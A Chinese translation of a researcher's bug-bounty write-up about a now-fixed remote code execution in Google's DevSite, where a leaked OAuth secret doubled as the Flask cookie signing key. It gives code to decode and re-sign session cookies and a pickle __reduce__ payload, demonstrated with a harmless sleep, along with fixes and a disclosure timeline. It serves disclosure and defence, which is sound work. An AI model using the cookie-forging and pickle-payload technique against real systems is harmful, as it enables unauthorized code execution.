缓存时间:
2026/10/12 15:47
# 我是如何在 Google 上发现一个价值 $90,000 的远程代码执行漏洞的
Source: https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce
## 发现过程
我在梳理 Google 开发者文档站点共用的 OAuth 流程。访问 `/oauth2authorize` 后,服务端会设置一个 Flask session cookie,然后重定向到 Google 登录页。无需登录账号即可触发:
```
curl -s -D headers.txt -o /dev/null \
'https://developers.google.com/oauth2authorize?return_url=%2F'
```
吸引我注意的是这个 cookie。标准的 Flask 三段式 `session=...`,但长度约 1,200 字节——远超一个 CSRF token 和返回 URL 所需的大小。于是我决定解码看看。
Flask 的 session cookie 只做了签名,没有加密,因此任何持有该 cookie 的人都能直接看到内容。开头的点号表示载荷经过了 zlib 压缩:
```python
import base64
import json
import pickletools
import zlib
payload, timestamp, signature = cookie.rsplit(".", 2)
def b64decode(value):
return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))
compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)
```
解码后得到了:
```python
{
"_permanent": true,
"google_oauth2_csrf_token": "...",
"google_oauth2_flow_": {
b"": "..."
}
}
```
`b""` 这个键是 Flask 用来标记 bytes 值的。对其做 Base64 解码后,我得到了一个 pickle 对象,`pickletools.dis` 输出显示这是一个 `oauth2client.client.OAuth2WebServerFlow` 对象及其字段:
```python
client_id = ".apps.googleusercontent.com"
client_secret = b""
```
cookie 中包含一个 pickle 序列化的载荷,这本身就已经很糟糕了。更严重的是,它还以明文形式携带了 Google 的 OAuth `client_id` 和 `client_secret`。(此处的 secret 已做脱敏;撰写本文时该 secret 仍然有效。)
我尝试用这个 client secret 作为 Flask 的 `SECRET_KEY`,发现签发的 cookie 签名确实能通过验证。也就是说,签名密钥就存储在它所签名的对象内部。
## 一个密钥,两种用途
client secret 泄露在 cookie 中本身就是一个独立的问题。但真正关键的是:同一个值还能用来验证签名。我没有靠猜测,而是严格验证了这一点。
Flask 通过 `itsdangerous` 使用 `cookie-session` 密钥派生来签名,因此我在本地重新计算了签名:
```python
import hmac
derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
derived_key,
f"{payload}.{timestamp}".encode(),
"sha1",
)
```
`expected` 的结果与 cookie 上的签名逐字节一致。为了排除偶然,我改动了签名中的一个字符(被拒绝),又用恢复的密钥重新签名了原始载荷(被接受)。Session 完整性已被彻底破坏。我可以设置 session 中的任意键值对,并生成服务端会接受的签名。
## 从伪造 cookie 到代码执行
回调流程从 session 中读取 flow 对象并执行反序列化:
```
session cookie -> verify Flask signature -> read google_oauth2_flow_ -> base64-decode the bytes -> pickle.loads(...)
```
这个 `pickle.loads` 只有在没有人能伪造合法 cookie 的前提下才是"安全"的。一旦签名密钥公开,这个假设就不复存在。
我构造了自己的 session,使用一个随意编造的 CSRF token,并在对应的 flow 键下放置任意 pickle 载荷:
```python
session = {
"_permanent": True,
"google_oauth2_csrf_token": "attacker-chosen",
"google_oauth2_flow_attacker-chosen": {
b"": base64.b64encode(attacker_blob).decode()
},
}
```
`state` 参数也由我控制,因此服务端不需要任何前置条件来匹配。服务端验证签名,找到我的 flow 条目,然后将 bytes 传给 `pickle.loads`。
如果你不熟悉 pickle:`REDUCE` 操作码会指定一个可调用对象及其参数,反序列化时直接调用它。公开的签名密钥加上这个注入点,就是未认证的 RCE。
我不会在 Google 的生产环境上执行任意命令,所以我用时间来证明漏洞的存在。载荷缩减为 `time.sleep(N)`:
```python
class Sleep:
def __init__(self, seconds):
self.seconds = seconds
def __reduce__(self):
return (time.sleep, (self.seconds,))
```
每次使用相同的伪造 session,仅改变数字:
```
time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s
```
响应时间精确跟随 pickle 中的数字变化,这只有在服务端导入了 `time` 模块并真正调用了 `sleep(N)` 时才可能发生。
接着进行了对照测试,以排除端点本身响应慢或存在随机抖动的可能:
- 不带 cookie:`Invalid request`
- 签名中翻转一个字节:`Invalid request`
- 签名合法但没有 flow 条目:`Invalid request state`
- 签名合法且使用真实 flow:到达 Google 的 token 交换环节,随后因我伪造的授权码报 `invalid_grant` 失败
- 签名合法且使用 sleep 载荷:延迟恰好等于我指定的数字
## 影响范围
这不是单一应用的问题,而是共用的 DevSite 平台的问题。来自 `developers.google.com` 的密钥可以在以下站点签发有效 session:
- `firebase.google.com`
- `developer.android.com`
- `source.android.com`
- `docs.partner.android.com`
## 修复方案
需要修复四个问题,它们层层叠加:
1. 轮换所有已泄露的 OAuth client secret,并作废所有用它们签名的 session。
2. 为每个部署实例配置独立的高熵 Flask `SECRET_KEY`,从服务端存储中读取,且与 OAuth 凭据完全无关。
3. 将 OAuth flow 对象保留在服务端。cookie 中只应保存一个不透明的引用标识,不包含任何敏感信息。
4. 对任何跨越客户端边界的数据,放弃使用 `pickle`。使用仅包含数据的格式并加上 schema 校验,可以让伪造的 cookie 变为无效载荷。
上述四点中任意一个都足以阻断攻击链。然而四个问题同时存在——这就是两次 GET 请求最终能在 Google 服务器上执行代码的原因。
## 时间线
1. 2026 年 8 月 6 日 · 22:48 提交报告
2. 2026 年 8 月 7 日 · 08:12 进入分诊
3. 2026 年 8 月 7 日 · 16:23 报告被接受
4. 2026 年 8 月 27 日 确定奖励:$90,000 — Normal Google Applications (T2), S0 RCE:$75,000 基础奖励 × 1.2(因报告质量卓越)
5. 2026 年 10 月 7 日 · 15:20 修复完成
感谢 Google Bug Hunters 团队和 DevSite 工程师对问题的调查与修复。